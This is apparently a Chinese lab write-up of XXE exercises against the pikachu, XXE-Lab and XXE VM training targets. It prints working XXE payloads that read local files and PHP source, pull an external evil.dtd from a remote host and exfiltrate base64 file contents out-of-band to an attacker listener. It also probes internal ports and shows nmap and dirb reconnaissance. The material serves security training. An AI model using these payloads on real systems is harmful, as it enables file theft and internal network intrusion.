XXE练习

news2025/3/11 13:27:45

pikachu-XXE靶场

1.POC:攻击测试

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a">]>
<foo>&xxe;</foo>

c3c4354c00ab5b6036e8c81f72d1135b.png

a9ab2389bb8631fee1a24df28c1a5e34.png

2.EXP:查看文件

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///C:/flag/flag" > ]>
<foo>&xxe;</foo>

6628eac12cde6e92a20aece8a17d0690.png

3.EXP:查看源码

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/1.php">]>
<foo>&xxe;</foo>

915ae19509887bc877534828df32ba57.png

4.EXP:DTD外部调用

<!ENTITY evil SYSTEM "file:///C:/flag/flag">
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.1.195:80/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

f5520e401cb736b1d08c20a016465f37.png

5.EXP:探测内网存活主机与开放端口

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit</x>

端口开放回显很快

93b22cca484d310b927c35ad8619a04d.png

端口未开连接超时

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8087">
]>
<x>&rabbit</x>

6.EXP:无回显探测

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.133.129:8888/?%file;'>">
%start;
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.1.195/66.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/flag/flag">
%remote;
%send;
]>

12f4790c959cab9b2b8c0df74b4ece6f.png

XXE-Lab靶场

目标获取flag

1.访问网页

418edcbcd156d73ca449c0748ceaff47.png

2.尝试注入,获取flag

BP抓他瞧一瞧

看到支持接收xml数据注入一下试试

text/xml和application/xml

81ea1c52041000865503f285b3171b7a.png

<!DOCTYPE username [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/flag/flag">]>
<user>
  <username>
&xxe;
  </username>
  <password>1</password>
</user>

//flag{dmsioamdoiasdmdmwmdsmd}

1410585718c3f24a6d6a8960004e36f4.png

XXE靶机

目标获取flag

1.装好靶机

这个样子就可以了

81108fc18b9829682111438864ef9031.png

2.获取靶机IP

用Nmap扫描整个D段获取靶机IP

nmap -O 192.168.133.129/24

1766371c994483d5baf013ae234cdbea.png

或者是用命令

arp-scan -l

bf93478a7c6636297875616c6d0d6968.png

4.信息收集

先去看看网页

Apache的默认页面,并什么可以利用的

bb2c313f2fbb483bf005a5e9c6b4b1cc.png

利用dirb工具去扫一下后台目录和文件

dirb http://192.168.133.131/

3fdbd401f714119182dcc634fa792d61.png

2ce27ac8761a9e9e28028fa99ee6d1f7.png

挨个访问一遍后发现两个登录界面

9e10afd6928de93e86121ecaa845a3ae.png

6fb5108cfeb7ba793166135977a6311b.png

5.尝试注入

xxe有回显点

抓包看看;尝试注入

3528a7a591baa61e708c54f017b407d9.png

查看admin.php的源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/admin.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
  </password>
</root>

600fcac7aca29a16aaddfbe6370346e3.png

解密后,在看源码发现好像是账号密码;去解密一下登录试试

56ef4e81923916af0f7900ec7f638193.png

83225a100b58569bcab9a4844e65dc77.png

登录后是这样,点击Flag后发现新的php文件

644b1213b2ac97c2ddb20a2b9fc2d5c8.png

1adc19aa54001d0211331b661a6933fa.png

去访问看看

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
		</password>
</root>

1ea76f8d3a93e274262d60e9d405f57b.png

解密后

54a5a7eae3e360aec6eed637c7cd9b3f.png

Base32解密后发现还得64解码

9c710242862386ca2f27f928aa1be937.png

4758540225e2a58320eb8cccda82e159.png

得到一个php文件去访问试试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/.flag.php">]>
<root>
		<name>
				&xxe;
		</name>
		<password>
				1
		</password>
</root>

10c8837ffd72b5b54e67caffc7087129.png

6.成功获取flag

在php文件中运行

ba3a1384e24bb8974d2825b5c0f020e4.png

访问一下就成功获取flag

 SAFCSP{xxe_is_so_easy}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2262007.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode打卡:形成目标字符串需要的最少字符串数II

执行结果&#xff1a;通过 题目&#xff1a;3292 形成目标字符串需要的最少字符串数II 给你一个字符串数组 words 和一个字符串 target。 如果字符串 x 是 words 中 任意 字符串的 前缀 &#xff0c;则认为 x 是一个 有效 字符串。 现计划通过 连接 有效字符串形成 targ…

【蓝桥杯】49362.《视频相关度计算》

视频相关性计算 问题描述 小蓝作为异世界最大流媒体网站 LanTube 的高级算法工程师&#xff0c;他想要实现更加精准的视频推荐服务来满足用户的喜好。 其中&#xff0c;**“视频的相关性”**是一个重要指标&#xff0c;它代表了两个视频 A 到 B 的关联程度&#xff0c;记作 f…

ASP.NET|日常开发中数据集合详解

ASP.NET&#xff5c;日常开发中数据集合详解 前言一、数组&#xff08;Array&#xff09;1.1 定义和基本概念1.2 数组的操作 二、列表&#xff08;List<T>&#xff09;2.1 特点和优势2.2 常用操作 三、字典&#xff08;Dictionary<K, V>&#xff09;3.1 概念和用途…

如何将多张图片合并为一个pdf?多张图片合并成一个PDF文件的方法

如何将多张图片合并为一个pdf&#xff1f;当我们需要将多张图片合并为一个PDF文件时&#xff0c;通常是因为我们希望将这些图片整理成一个统一的文档&#xff0c;方便查看、分享或打印。无论是工作中需要提交的报告、学生们需要整理的作业&#xff0c;还是个人收藏的照片、旅行…

【html网页页面013】html+css制作节日主题圣诞节网页含视频、留言表单(独创首发-5页面附效果及源码)

节日主题圣诞节网页制作 &#x1f964;1、写在前面&#x1f367;2、涉及知识&#x1f333;3、网页效果完整效果(5页)&#xff1a;代码目录结构&#xff1a;page1、首页page2、庆祝page3、影响page4、起源page5、留言板 &#x1f308;4、网页源码4.1 html4.2 CSS4.3 源码获取圣诞…

直播预告 | 蓝卓生态说,解锁supOS在化工领域的无限可能

生态是蓝卓生命力的体现&#xff0c;为全方位赋能生态伙伴使用supOS并从中获益&#xff0c;蓝卓打造生态说系列栏目&#xff0c;通过生态沙龙、直播对话、案例剖析、产品解读等&#xff0c;持续展现“12N”的智能工厂创新路径&#xff0c;加速推进工业数字化转型。 嘉宾介绍 朱…

java对子网掩码的转换

一般的子网掩码展示为点分十进制形式&#xff0c;如&#xff1a;255.255.255.0&#xff0c;但有时因为业务需要&#xff0c;我们需要转换成对应的数字&#xff0c;以及数字转成点分十进制&#xff0c;所以整理了java的方法可以进行两者的互相转换 1、点分十进制转数字 public…

亚马逊-用表格创建多变体商品

引言 当我们使用“月亮树选品软件”找到一款不错的产品时&#xff0c;我们会延续这个产品的优点&#xff0c;并对其进行改良。改良之后&#xff0c;我们需要将产品上架到亚马逊平台&#xff0c;以测试这个产品的市场表现。然而&#xff0c;许多亚马逊卖家觉得上传多变体商品这…

使用C#在目录层次结构中搜索文件以查找目标字符串

例程以递归方式搜索目录层次结构中的文件以查找目标字符串。它可以搜索几乎任何类型的文件&#xff0c;即使它不包含 Windows 理解的文本。例如&#xff0c;它可以搜索 DLL 和可执行文件以查看它们是否恰好包含字符串。 下面的代码中显示的ListFiles 方法完成了大部分工作。 …

【深度学习总结】使用PDF构建RAG:结合Langchain和通义千问

【深度学习总结】使用PDF构建RAG&#xff1a;结合Langchain和通义千问 使用平台&#xff1a;趋动云&#xff0c;注册送算力 前言 在大型语言模型&#xff08;LLMs&#xff09;应用领域&#xff0c;我们面临着大量挑战&#xff0c;从特定领域知识的匮乏到信息准确性的窘境&am…

P8772 [蓝桥杯 2022 省 A] 求和

题目描述&#xff1a; 解题思路&#xff1a; 首先这题我们可以直接用两个for循环嵌套来控制两个变量来求值&#xff0c;但是这样做时间复杂度高。这里我们用到了一个前缀和差的方法。通过for循环变量第一个变量&#xff0c;用和差的方法的到第二个量&#xff0c;这样就只用了一…

Flux Tools 结构简析

Flux Tools 结构简析 BFL 这次一共发布了 Canny、Depth、Redux、Fill 四个 Tools 模型系列&#xff0c;分别对应我们熟悉的 ControlNets、Image Variation&#xff08;IP Adapter&#xff09;和 Inpainting 三种图片条件控制方法。虽然实现功能是相同的&#xff0c;但是其具体…

什么是芯片电阻

有人把Chip Resistor翻译成“芯片电阻”&#xff0c;我觉得翻译成“贴片电阻”或“片状电阻”更合适。有些厂商也称之为”电阻片”&#xff0c;英文写作Resistor Chip。比如&#xff1a;Thick film resistor chips&#xff08;厚膜电阻片&#xff09;、Thin film resistor chip…

【Linux】深入理解进程信号机制:信号的产生、捕获与阻塞

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 时间不语&#xff0c;却回答了所有问题 目录 &#x1f4da;前言 &#x1f4da;一、信号的本质 &#x1f4d6;1.异步通信 &#x1f4d6;2.信…

模具生产过程中的标签使用流程图

①NFC芯片嵌入周转筐&#xff0c;通过读卡器读取CK_Label_v3的数据&#xff0c;并将这些信息上传至服务器进行存储&#xff1b; ②服务器随后与客户的WMS&#xff08;仓库管理系统&#xff09;进行交互&#xff0c;记录和同步注塑机的原始数据&#xff1b; ③当周转筐内的模具…

【AIGC安全】CCF-CV企业交流会直播回顾:探寻AI安全治理,共筑可信AI未来

文章目录 一、活动背景&#xff1a;AI技术快速发展与安全治理需求迫切二、论坛内容金耀辉&#xff1a;智能共生时代&#xff1a;平衡生成式AI的创新与风险何延哲&#xff1a;人工智能安全检测评估的逻辑和要点谢洪涛&#xff1a;面向特定人物深度伪造视频的主动防御与被动检测技…

Cesium 无人机航线规划(区域航线)

区域航线&#xff0c;即划定一片区域一键巡查 这里选择点几个点&#xff0c;形成的区域内计算规划航线

【SH】Ubuntu Server 24搭建Web服务器访问Python程序研发笔记

文章目录 说个问题写个方案一、安装Ubuntu Server二、安装Web服务器采用Nginx服务器 三、安装Python及依赖创建项目虚拟环境 四、安装Python Web框架采用Flask框架创建和运行Flask应用&#xff08;以后的重点&#xff09; 五、安装WSGI服务器采用Gunicorn 六、配置Nginx七、验证…

SpringBoot如何实现缓存预热?

缓存预热是指在 Spring Boot 项目启动时&#xff0c;预先将数据加载到缓存系统&#xff08;如 Redis&#xff09;中的一种机制。 那么问题来了&#xff0c;在 Spring Boot 项目启动之后&#xff0c;在什么时候&#xff1f;在哪里可以将数据加载到缓存系统呢&#xff1f; 实现…

贪心算法 part01

class Solution { public:int maxSubArray(vector<int>& nums) {int result INT32_MIN;int count 0;for (int i 0; i < nums.size(); i) {count nums[i];if (count > result) { // 取区间累计的最大值&#xff08;相当于不断确定最大子序终止位置&#xff…